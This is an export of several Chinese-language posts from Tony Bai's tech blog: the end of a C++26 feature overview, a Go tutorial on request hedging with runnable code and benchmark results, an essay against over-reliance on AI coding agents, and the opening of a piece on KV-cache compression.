loop. auto op1 = start_now(stdexec::start_on(event_loop, std::move(task1))); auto op2 = start_now(stdexec::start_on(event_loop, std::move(task2))); ctx.finish(); // tell the run loop to stop when the queue is empty ctx.run(); // tell the run loop to start executing work in the queue } 这可以被看作是 C++ 对 Go 的 Goroutine + Channel 模型，以及 Rust 的 async/await + tokio 模型的终极回应。\n它让 C++ 开发者第一次拥有了一套语言原生的、能够轻松编写“无数据竞争（Data-race-free by construction）”并发程序的“亲儿子”工具。\n小结：一场没有退路的豪赌 反射、安全、契约、并发。C++26 的这四大金刚，每一个都足以在其他语言中引发一场大地震。\n我们看到的是一头苏醒的巨兽。它没有选择像 Go 那样“断舍离”，也没有像 Rust 那样“偏执于安全”，而是极其贪婪地选择了：“我全都要！”\n它既想要极致的表达能力和零成本抽象（反射、模板），又想要与 Rust 媲美的内存安全（加固标准库），还想要不输 Go 的并发表达力（std::execution）。\nC++26 给老兵们提供了前所未有的强大武器，但也把本就陡峭的学习曲线，又向上抬升了一个令人惊叹的高度，宇宙第一复杂的编程语言，实至名归！\n当 Go 的开发者还在为“是否要加个三元表达式”而争论不休时，C++ 已经头也不回地奔向了“万神殿”。\n或许，编程语言的终局，真的不是“大一统”，而是“两极分化”：一极是像 Go 一样追求极致简单的“工程师语言”；而另一极，则是像 C++ 这样，专为那 1% 的、追求极致性能和控制力的“宗师级”开发者准备的、布满荆棘的封神之路。\nC++26，欢迎来到神的世界，也欢迎来到神的炼狱。\n参考资料 https://herbsutter.com/2026/03/29/c26-is-done-trip-report-march-2026-iso-c-standards-meeting-london-croydon-uk/ https://herbsutter.com/2025/06/21/trip-report-june-2025-iso-c-standards-meeting-sofia-bulgaria/ https://herbsutter.com/2024/07/02/trip-report-summer-iso-c-standards-meeting-st-louis-mo-usa/ https://www.open-std.org/jtc1/sc22/wg21/docs/papers/2025/p2996r13.html https://www.youtube.com/watch?v=7z9NNrRDHQU https://www.youtube.com/watch?v=oitYvDe4nps 今日互动探讨：\n看完 C++26 的这四大“神仙”特性，你是感到兴奋，还是感到了深深的绝望？你觉得 C++ 的这种“大而全”的演进路线是对的，还是 Go 的“小而美”更代表未来？\n欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/31/go-minimalism-vs-cpp26-epic-new-features/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-minimalism-vs-cpp26-epic-new-features-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/31/go-minimalism-vs-cpp26-epic-new-features\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/31/go-minimalism-vs-cpp26-epic-new-features\"\u003ehttps://tonybai.com/2026/03/31/go-minimalism-vs-cpp26-epic-new-features\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在这个 Go、Zig 等“小而美”新语言颇受青睐的时代，如果你去技术社区里问一句：“C++ 这门语言怎么样？”\u003c/p\u003e\n\u003cp\u003e你大概率会得到一堆充满戏谑的回答：“太复杂了，别学”、“从入门到放弃”、“面试造火箭，工作拧螺丝”。\u003c/p\u003e","title":"当 Go 还在追求极简时，C++ 26 却又加了四大“史诗级”新特性"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/30/reduced-p99-latency-by-request-hedging-in-go\n大家好，我是Tony Bai。\n在微服务和分布式系统的世界里，我们常常会遇到一个令人头疼的现象：服务在大部分时间（如 P50 或 P90 指标）表现得非常丝滑，但总有那么一小撮请求（P99 甚至 P99.9 指标）慢得令人发指。\n近日，在 Reddit 的 r/golang 社区中，一位开发者分享了他将 Go 服务的 P99 延迟降低了 74% 的经验。令人惊讶的是，他所使用的绝招并非升级硬件或重构业务逻辑，而是引入了一个名为 Request Hedging（请求对冲） 的策略。\n面对高延迟，我们本能的反应是“重试（Retry）”。但正如这位开发者所发现的：单纯的重试不仅无助于解决长尾延迟，反而可能在系统高负载时雪上加霜。真正有效的方法是处理“落后者”，而不是“失败者”。\n本文将带你重温 Google 关于分布式系统的经典论文，深入剖析 Request Hedging 的原理，并手把手教你如何仅使用 Go 标准库，为你的 HTTP 客户端插上“对冲”的翅膀。\n尾延迟的诅咒：为什么重试不是万能药？ 在深入 Hedging 之前，我们必须先理解什么是尾延迟（Tail Latency）。\n2013 年，Google 的两位大神 Jeffrey Dean 和 Luiz André Barroso 在《Communications of the ACM》上发表了一篇神级论文：《The Tail at Scale》。在这篇Paper中，他们详细阐述了在大规模分布式系统中，为什么长尾延迟是不可避免的。\n哪怕你拥有世界上最优秀的工程师，底层硬件的物理特性（如 CPU 降频、网络拥塞）、操作系统的后台任务（如 IO 调度）、以及语言运行时的特性（如 Go 的 GC 停顿），都会导致某些请求的处理时间远高于平均值。\n当你的服务需要并行调用多个下游服务时，这种局部的延迟波动会被急剧放大。 假设一个服务需要调用 100 个叶子节点，如果单个节点响应时间超过 1 秒的概率是 1%，那么整个请求超过 1 秒的概率将飙升至 63%！\n注：节点总数 n = 100 ，已知单个节点响应时间超过 1 秒的概率 为1%。单个节点响应时间不超过 1 秒（即正常响应）的概率为1-1% = 99% = 0.99。由于 100 个请求是并行的且相互独立，整个请求“正常”的前提是所有 100 个节点都必须在 1 秒内返回。这种概率为0.99^100=0.366。这样只要这 100 个节点中有任何一个掉链子，整个请求（作为整体）的耗时就会超过 1 秒。其概率为1-0.366≈0.63=63%。\n图：来自《The Tail at Scale》 这张图直观地展示了随着服务器数量（Fan-out）增加，哪怕单机变慢的概率极低，整体响应时间变慢的概率也会陡峭上升。\n面对超时的请求，传统的做法是实施超时重试（Timeout \u0026amp; Retry）。但重试存在致命缺陷：\n你必须等待超时发生。 如果超时设置为 1 秒，那么重试的请求至少要经历 1 秒的延迟，这根本无法改善 P99 延迟。 加剧雪崩。 当下游服务因为负载过高而变慢时，大量的重试请求会瞬间淹没下游，导致系统彻底崩溃。 Request Hedging：优雅地跑赢时间 为了解决长尾延迟，Google 论文中提出了一种极具工程智慧的策略：Hedged Requests（请求对冲/对冲请求）。\n其核心思想非常简单直白：\n客户端首先向目标服务器发送一个请求。如果该请求在预期的时间（即“对冲延迟阈值”，Hedging Delay）内没有返回，客户端不会等待其超时或失败，而是立即向另一个副本（或者同一个负载均衡器后的其他实例）发送一模一样的备份请求。客户端将使用最先返回的那个成功响应，并主动取消其余的未决请求。\n这种方法之所以有效，是因为导致请求变慢的因素通常是瞬时的且与特定机器相关的（如某台机器刚好在做 GC，或者刚好被一个大查询阻塞了队列）。第二个请求很大概率会被路由到一台健康的、空闲的机器上，从而快速返回。\nHedging 与 Retry 的本质区别：\nRetry：针对的是失败（Failure）。必须等第一个请求彻底失败或超时，才发起第二个。 Hedging：针对的是慢（Slowness）。第一个请求还在运行（没报错），第二个请求就已经出发了。它们是并行竞争的关系。 虽然这听起来像是在浪费服务器资源，但 Google 的实践证明，如果将 Hedging Delay 设置为 P95 延迟（即 95% 的请求都能在这个时间内完成），那么只有 5% 的请求会触发对冲。这仅仅增加了 5% 的系统负载，却能将 P99 或 P99.9 的长尾延迟削减大半！\n在现代微服务生态中，gRPC 已经在 Service Config 中原生支持了 Hedging 策略，但对于广泛使用的 HTTP/REST 接口，我们通常需要自己实现。\n实战：构建可压测的 Hedging HTTP Client 为了验证 Hedging 的威力，我们将使用 Go 原生标准库，从零实现一个带有对冲机制的 http.RoundTripper，并构建一个完整的压测实验环境。\n项目布局 首先，创建一个新的 Go 项目：\nmkdir go-hedging-demo cd go-hedging-demo go mod init hedging-demo 我们将创建三个文件：\nhedge.go：包含核心的 Hedging 逻辑实现。 server.go：一个模拟真实分布式环境、带有随机高延迟的测试服务器。 main.go：客户端压测入口，用于对比普通请求和 Hedging 请求的性能差异。 go-hedging-demo/ ├── go.mod ├── hedge.go ├── server.go └── main.go 核心实现：hedge.go 我们将通过实现 http.RoundTripper 接口，优雅地将对冲逻辑无缝注入到 Go 标准库的 http.Client 中。\n// hedge.go package main import ( \u0026#34;context\u0026#34; \u0026#34;errors\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; ) // HedgedTransport 实现了 http.RoundTripper 接口 type HedgedTransport struct { Transport http.RoundTripper // 底层真正的 Transport MaxAttempts int // 最大并发请求数（包括最初的1次） HedgeDelay time.Duration // 触发对冲的延迟时间 } func (ht *HedgedTransport) RoundTrip(req *http.Request) (*http.Response, error) { // 如果没有设置，使用默认行为 transport := ht.Transport if transport == nil { transport = http.DefaultTransport } attempts := ht.MaxAttempts if attempts \u0026lt;= 0 { attempts = 1 } // 使用带有取消功能的 context 控制整个对冲生命周期 ctx, cancel := context.WithCancel(req.Context()) defer cancel() // 结果通道，用于接收第一个成功的响应或错误 type result struct { resp *http.Response err error } resCh := make(chan result, attempts) var wg sync.WaitGroup // 启动一个请求的闭包函数 doRequest := func() { wg.Add(1) go func() { defer wg.Done() // 克隆请求，防止并发修改 cloneReq := req.Clone(ctx) resp, err := transport.RoundTrip(cloneReq) // 只有当请求不是因为 context 取消而失败时，才尝试写入结果 if !errors.Is(err, context.Canceled) { select { case resCh \u0026lt;- result{resp: resp, err: err}: default: // 通道已满或已不再需要，直接丢弃（如果 resp 不为空，需要关闭 Body 以防泄露） if resp != nil \u0026amp;\u0026amp; resp.Body != nil { resp.Body.Close() } } } }() } // 1. 发起第一个请求 doRequest() // 2. 控制对冲的定时器和尝试次数 timer := time.NewTimer(ht.HedgeDelay) defer timer.Stop() errs := make([]error, 0, attempts) requestsSent := 1 for { select { case res := \u0026lt;-resCh: // 收到结果 if res.err == nil { // 成功！立即取消其他还在飞行的请求 cancel() // 等待后台 goroutine 清理完成 (可选，这里为了简单不阻塞) return res.resp, nil } // 如果这个请求失败了，记录错误 errs = append(errs, res.err) // 如果所有发出的请求都失败了，且已经达到最大尝试次数，返回错误 if len(errs) == attempts { return nil, errors.Join(errs...) } // 如果一个请求失败了，且还没达到最大尝试次数，我们不应该死等 Timer， // 而应该立刻触发下一个对冲请求（这里为了简化逻辑，依然依赖下一次 Timer 或失败循环） // 实际生产级实现可以在这里直接触发 doRequest() case \u0026lt;-timer.C: // 对冲延迟到达 if requestsSent \u0026lt; attempts { // 触发对冲请求 doRequest() requestsSent++ // 重置定时器，准备下一次可能的对冲 timer.Reset(ht.HedgeDelay) } case \u0026lt;-ctx.Done(): // 整个请求超时或被调用方取消 return nil, ctx.Err() } } } 这里，我们使用了 req.Clone(ctx) 来复制请求，确保并发安全。通过 context.WithCancel 控制所有的下游请求，一旦有一个请求成功返回（res.err == nil），立即调用 cancel() 取消其余正在运行（in-flight）的请求。\n测试服务器：模拟“长尾效应” server.go 为了看到效果，我们编写一个简单的 HTTP 服务。它在 90% 的情况下在 50ms 内快速响应，但在 10% 的情况下会遇到长达 500ms 到 1s 的长尾延迟。\n// server.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;math/rand\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;time\u0026#34; ) func startServer() { http.HandleFunc(\u0026#34;/data\u0026#34;, func(w http.ResponseWriter, r *http.Request) { // 模拟 10% 的长尾延迟 if rand.Float32() \u0026lt; 0.1 { // 长尾延迟：500ms - 1000ms delay := 500 + rand.Intn(500) time.Sleep(time.Duration(delay) * time.Millisecond) } else { // 正常响应：10ms - 50ms delay := 10 + rand.Intn(40) time.Sleep(time.Duration(delay) * time.Millisecond) } fmt.Fprintln(w, \u0026#34;OK\u0026#34;) }) go func() { err := http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) if err != nil { panic(err) } }() time.Sleep(100 * time.Millisecond) // 等待服务器启动 } 压测入口：对比见真章 main.go 最后，我们编写压测代码，分别使用普通 Client 和 Hedged Client 发送 1000 个并发请求，并统计 P99 延迟。\n// main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;io\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;sort\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; ) const RequestCount = 1000 func main() { startServer() fmt.Println(\u0026#34;开始压测普通 HTTP Client...\u0026#34;) normalClient := \u0026amp;http.Client{ Timeout: 2 * time.Second, } normalLatencies := runBenchmark(normalClient) fmt.Println(\u0026#34;\\n开始压测 Hedged HTTP Client...\u0026#34;) hedgedClient := \u0026amp;http.Client{ Timeout: 2 * time.Second, Transport: \u0026amp;HedgedTransport{ Transport: http.DefaultTransport, MaxAttempts: 3, // 最多发送3个请求 HedgeDelay: 80 * time.Millisecond, // P95 延迟设为触发点（我们服务器正常响应 \u0026lt; 50ms） }, } hedgedLatencies := runBenchmark(hedgedClient) // 打印统计结果 printStats(\u0026#34;Normal Client\u0026#34;, normalLatencies) printStats(\u0026#34;Hedged Client\u0026#34;, hedgedLatencies) } func runBenchmark(client *http.Client) []time.Duration { var wg sync.WaitGroup latencies := make([]time.Duration, RequestCount) for i := 0; i \u0026lt; RequestCount; i++ { wg.Add(1) go func(index int) { defer wg.Done() start := time.Now() resp, err := client.Get(\u0026#34;http://localhost:8080/data\u0026#34;) if err != nil { fmt.Printf(\u0026#34;Request failed: %v\\n\u0026#34;, err) return } io.Copy(io.Discard, resp.Body) resp.Body.Close() latencies[index] = time.Since(start) }(i) } wg.Wait() return latencies } func printStats(name string, latencies []time.Duration) { // 去除可能的失败请求（0值） valid := make([]time.Duration, 0, len(latencies)) for _, l := range latencies { if l \u0026gt; 0 { valid = append(valid, l) } } sort.Slice(valid, func(i, j int) bool { return valid[i] \u0026lt; valid[j] }) if len(valid) == 0 { fmt.Printf(\u0026#34;No valid responses for %s\\n\u0026#34;, name) return } p50 := valid[len(valid)/2] p95 := valid[int(float64(len(valid))*0.95)] p99 := valid[int(float64(len(valid))*0.99)] fmt.Printf(\u0026#34;\\n=== %s 统计 ===\\n\u0026#34;, name) fmt.Printf(\u0026#34;请求总数: %d\\n\u0026#34;, len(valid)) fmt.Printf(\u0026#34;P50 延迟: %v\\n\u0026#34;, p50) fmt.Printf(\u0026#34;P95 延迟: %v\\n\u0026#34;, p95) fmt.Printf(\u0026#34;P99 延迟: %v\\n\u0026#34;, p99) } 运行与验证 在本地 MacBook Pro 的终端上执行 go run .，我得到了以下真实的性能对决：\n$go run . 开始压测普通 HTTP Client... 开始压测 Hedged HTTP Client... === Normal Client 统计 === 请求总数: 1000 P50 延迟: 115.226929ms P95 延迟: 850.768537ms \u0026lt;-- 注意看这里 P99 延迟: 1.045720114s \u0026lt;-- 长尾效应严重 === Hedged Client 统计 === 请求总数: 1000 P50 延迟: 138.930108ms \u0026lt;-- P50 轻微损耗 P95 延迟: 360.607686ms \u0026lt;-- 巨大的改善！ P99 延迟: 376.98949ms \u0026lt;-- P99 降低了将近 70%！ 正如你所见：\nP99 巨幅改善：对冲机制成功将 P99 延迟降低了 64%。原本需要 1 秒以上的极端慢请求，现在被控制在了 400ms 以内。 P50 轻微损耗：由于请求克隆、Context 管理以及本地 CPU 调度多出一倍请求的竞争，P50 上升了约 23ms。 结论：在典型的分布式系统中，这种权衡是极度划算的。我们用极小的平均延迟上升，换取了尾部延迟的高稳定性。\n生产环境的避坑指南 Request Hedging 虽好，但绝非能随意滥用的“银弹”。在将其部署到生产环境之前，你必须考虑以下几个核心约束：\n绝对的幂等性（Idempotency）：对冲意味着同一笔请求可能同时发送给后端的两个节点。如果这是个 POST 扣款请求，而你的后端没有做好幂等性控制，这将会是一场灾难。Hedging 最好只用于幂等的只读请求（如 GET），或者有严格全局事务 ID 兜底的写入操作。 Hedge Delay 的设定：这是最考验架构师的参数。设得太短，所有的请求都会变成双倍发送，瞬间打挂后端（这叫放大攻击）；设得太长，起不到降低长尾的作用。最佳实践是通过 Prometheus 等监控工具，计算出该接口过去的 P95 响应时间，将其作为 Hedging Delay 的基准值。 熔断与限流（Throttling）：如果下游服务整体宕机，所有的请求都会变慢，此时触发所有的对冲请求只会加速死亡。因此，正如 gRPC 规范中要求的，Hedging 必须与限流（Throttling）结合。例如，计算一个“对冲令牌池”，只有当成功请求大于失败请求达到一定比例时，才允许发送对冲请求。 小结 软件工程是一门关于权衡的艺术。在追求极致性能的道路上，我们往往将目光局限于优化数据库索引、压缩 JSON 序列化，却忽视了分布式系统固有的宏观不确定性。\nRequest Hedging 是从宏观架构层面给出的一记漂亮的防守反击。通过上面几百行的 Go 代码，我们成功复现了 Google 级别的架构优化。下一次，当你的监控大盘上 P99 曲线再次异常抖动时，不妨收起单纯的“超时重试”，尝试给你的 Go 客户端加一点“对冲”的魔法吧。\n本文中涉及的代码可以在这里下载。https://github.com/bigwhite/experiments/tree/master/go-hedging-demo\n资料链接：\nhttps://www.reddit.com/r/golang/comments/1s4mb10/reduced_p99_latency_by_74_in_go_learned_something/ https://grpc.io/docs/guides/request-hedging/ https://research.google/pubs/the-tail-at-scale/ 你的 P99 达标了吗？\n尾延迟是分布式系统中最难缠的对手。在你的项目中，主要的长尾延迟来源是什么？你会为了降低那 1% 的极端慢请求，而接受 5% 的额外系统负载吗？\n欢迎在评论区分享你的性能调优“必杀技”！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/30/reduced-p99-latency-by-request-hedging-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/reduced-p99-latency-by-request-hedging-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/30/reduced-p99-latency-by-request-hedging-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/30/reduced-p99-latency-by-request-hedging-in-go\"\u003ehttps://tonybai.com/2026/03/30/reduced-p99-latency-by-request-hedging-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在微服务和分布式系统的世界里，我们常常会遇到一个令人头疼的现象：服务在大部分时间（如 P50 或 P90 指标）表现得非常丝滑，但总有那么一小撮请求（P99 甚至 P99.9 指标）慢得令人发指。\u003c/p\u003e","title":"降低 74% 的 P99 尾延迟：揭秘 Go HTTP 客户端的“请求对冲”魔法"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/29/stop-mindless-ai-coding-we-are-heading-to-a-dead-end\n大家好，我是Tony Bai。\n过去的一年，大概是所有程序员肾上腺素飙升最快的一年。\n从早期的 Copilot、Cursor到如今的Claude Code、Codex，再到各种号称能“全自动开发”的 Agent Swarm（智能体集群）。只要在周末花上几个小时，敲几句 Prompt，你就能把以前想做却没时间做的 Side Project 全部干出来。\n甚至，连微软 CEO Satya Nadella 都在四处宣扬“微软现在有多少代码是 AI 写的”。仿佛在一夜之间，“一个人就是一家公司”、“一天撸完一个 SaaS 平台”成了技术圈的标配。\n但在这场速度的狂欢中，你有没有感觉到一丝不对劲？\n最近，国外资深开发者 Mario Zechner 写了一篇极其辛辣的文章《Thoughts on slowing the f**k down》。他毫不客气地戳破了这层“繁荣”的窗户纸：\n当我们把 AI 智能体（Agent）全面引入生产代码库后，我们并没有迎来软件工程的乌托邦，反而正在以惊人的速度，制造着前所未有的“屎山”和灾难。\n今天，我想结合他的反思，以及我最近在使用 AI 原生开发时的一些切身痛点，给大家浇一盆冷水。在被大模型彻底“惯坏”之前，我们必须看清，过度依赖 Agent 正在如何毁掉我们的系统，甚至我们的职业生涯。\n100% AI 生成，等于 100% 的不可控 很多公司和独立开发者喜欢标榜：“我的产品 100% 是由 AI 写的。”\n他们以为这是高科技的证明，但在行家眼里，这简直是灾难的代名词。\n那些号称“完全脱手、让 Agent 自己去写”的代码库，往往充斥着你能想象到的最糟糕的垃圾：\n高达几个 G 的内存泄漏、莫名其妙的 UI 闪烁、完全没有一致性的设计模式，以及一碰就碎的核心逻辑。\n为什么会这样？难道现在的 AI 不够聪明吗？\n原因在于：Agent 是“没有痛感”的，而人类有。\n在传统的手工编码时代，人类程序员是一个天然的“物理瓶颈”。你一天最多只能写 500 行高质量代码。如果你在这个过程中犯了错（比如引入了某个不良的抽象，或者写了一个极其恶心的嵌套），你会立刻感到**“痛苦”**。\n为了避免这种痛苦，你会花时间去重构，去梳理架构，或者因为被 Reviewer 骂了一顿而痛改前非。\n痛苦，逼着人类去学习和进化，逼着系统保持在一个“可维护”的边界内。\n但 Agent 呢？它是一台没有感情的打字机。\n它可以在几分钟内拉出两万行代码。如果其中包含了一个微小的设计缺陷，它不会感到痛苦。相反，它会在你看不见的地方，将这个缺陷以成百上千倍的速度**“复利式地放大（Compound）”**。\n等你回过神来，想要在这个 100% 由 AI 生成的系统上加一个新功能时，你会绝望地发现：你连它长什么样都不知道，而且它已经烂到连 AI 自己都改不动了。\n为什么 AI 连自己写的屎山都修不好？ 有人可能会说：“既然 AI 能写屎山，那我再派一个高级 Agent 去重构这堆屎山不就行了？”\n这就是当下最可怕的“平替思维”陷阱。\n现实是：当代码的复杂度和体积膨胀到一定程度后，AI 的**“召回率（Recall）”**会呈现断崖式下跌。\n这不仅仅是上下文窗口大小（Context Window）的问题。在拥有百万行代码的迷宫中，Agent 根本不知道该去哪里找相关的依赖，不知道哪些旧代码可以复用。它只能基于极其局部的视野（Local View）去做决策。\n这就导致了极度荒谬的现象：Agent 在重构时，不仅找不到病根，反而会发明出更多为了抽象而抽象的垃圾代码，让屎山开出更加绚丽的“奇葩”。\n人类制造企业级的屎山，需要几十个程序员耗费好几年的时间来堆砌；\n而你，只需要带上 2 个 AI Agent，几个星期就能搞出一个连上帝都看不懂的废墟。\n当你发现连号称 100% 覆盖率的 AI 测试用例都在撒谎时，除了手动去点产品、祈祷它别崩溃，你已经失去了对系统的任何掌控力。\n我们该如何与 Agent 共生？ 难道我们要砸烂电脑，退回到手敲汇编的时代吗？当然不是。\nAgent 就像古希腊神话中的海妖塞壬（Sirens），用极速的快感诱惑着你。我们必须在它摧毁我们的工程纪律之前，重新夺回主动权。\n真正的顶级开发者，绝不会对 AI 说：“嘿，帮我把这个系统全干了。”\n他们与 Agent 的协作，遵循着极其严苛的边界：\n1. 坚决把控“系统的整体结构”\n什么是系统的整体结构？那是你的核心架构设计、API 的边界、数据库的实体关系，以及整个系统跑起来时的“手感”。\n这些东西，必须由你亲手来写，或者通过 Pair Programming（结对编程）一行一行地推敲。\n只有亲手写过，感受到那份“摩擦力”，你才能在脑海中建立起对系统的上帝视角。这是目前任何 SOTA（最先进）大模型都无法替代的品味与经验。\n2. 让 AI 去干“不用动脑子”的脏活\nAgent 最适合的场景，是那些不需要全局视野的局部任务：写一段正则、爬个数据、写几条枯燥的单元测试，或者是写一个就算坏了也不影响公司赚钱的内部临时脚本。\n把时间花在“决定做什么”和“决定不做什么”上。学会对需求说“不”，本身就是最高级的特性。\n3. 强制减速\n这是最反直觉，也是最重要的一条建议。\n不要为了追求那虚荣的“代码生成量”而沾沾自喜。给自己设定一个限制：每天 AI 生成的代码量，绝对不能超过你“能够深入 Review 和理解”的极限。\n你必须确保，如果明天所有的 AI 公司突然破产，你依然能从容地接管这个系统，因为它的每一根骨架，都在你的掌控之中。\n小结：只有人类，才能兜住底线 在过去的一年里，我们把太多的权力让渡给了机器，以至于我们忘记了软件工程的本质。\n在这个鼓吹“快、更快、再快一点”的癫狂时代，慢下来，反而成了最稀缺的竞争力。\n你的代码可能不再是纯手工敲出来的了，但你的架构品味、你的工程纪律、你在出 Bug 时能一针见血找到根源的敏锐直觉，才是你在这个时代安身立命的根本。\n一切自动化，最终都需要**人类的纪律（Discipline）与主体性（Agency）**来兜底。\n机器可以写代码，但只有人类，才能为系统注入灵魂。\n资料链接：https://mariozechner.at/posts/2026-03-25-thoughts-on-slowing-the-fuck-down\n今日互动探讨：\n在日常开发中，你有没有遇到过被 AI 生成的“看似完美、实则藏雷”的代码坑得很惨的经历？你是怎么发现并解决的？\n在 AI 编程的浪潮中，你觉得人类程序员最不可被替代的核心能力是什么？\n欢迎在评论区分享你的血泪史与思考！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/29/stop-mindless-ai-coding-we-are-heading-to-a-dead-end/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/stop-mindless-ai-coding-we-are-heading-to-a-dead-end-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/29/stop-mindless-ai-coding-we-are-heading-to-a-dead-end\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/29/stop-mindless-ai-coding-we-are-heading-to-a-dead-end\"\u003ehttps://tonybai.com/2026/03/29/stop-mindless-ai-coding-we-are-heading-to-a-dead-end\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去的一年，大概是所有程序员肾上腺素飙升最快的一年。\u003c/p\u003e\n\u003cp\u003e从早期的 Copilot、Cursor到如今的\u003ca href=\"http://gk.link/a/12EPd\"\u003eClaude Code\u003c/a\u003e、Codex，再到各种号称能“全自动开发”的 \u003ca href=\"https://tonybai.com/2026/02/08/claude-code-agent-team-mode/\"\u003eAgent Swarm（智能体集群）\u003c/a\u003e。只要在周末花上几个小时，敲几句 Prompt，你就能把以前想做却没时间做的 Side Project 全部干出来。\u003c/p\u003e","title":"别再用 AI 疯狂撸代码了！我们正在把自己逼入“死胡同”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/28/ai-engineer-gpu-introduction-course\n大家好，我是Tony Bai。\n就在最近，科技界发生了一件极其戏剧性的事情。本周三美股开盘，全球存储产业巨头——美光、西部数据、希捷的股价遭遇了“黑色时刻”，普遍明显下跌（3%~6%）。\n引发这场资本市场大地震的，不是什么贸易战，也不是财报暴雷，而仅仅是谷歌（Google Research）发布的一篇技术论文：《TurboQuant: Redefining AI efficiency with extreme compression》。\n这篇论文宣称，他们发明了一种极端的压缩算法，能在几乎零损耗的情况下，将大模型推理时的 KV 缓存（KV Cache）暴降 6 倍，并让注意力机制的计算速度狂飙 8 倍！\n很多传统的后端程序员看到这条新闻，可能一头雾水：\n什么是 KV Cache？ 为什么压缩了一个叫 KV Cache 的东西，就能让卖物理内存芯片的巨头们吓得半死？ 在这些雾水和疑惑背后，隐藏着 AI 大模型时代最核心、也最残酷的技术真相：内存墙（Memory 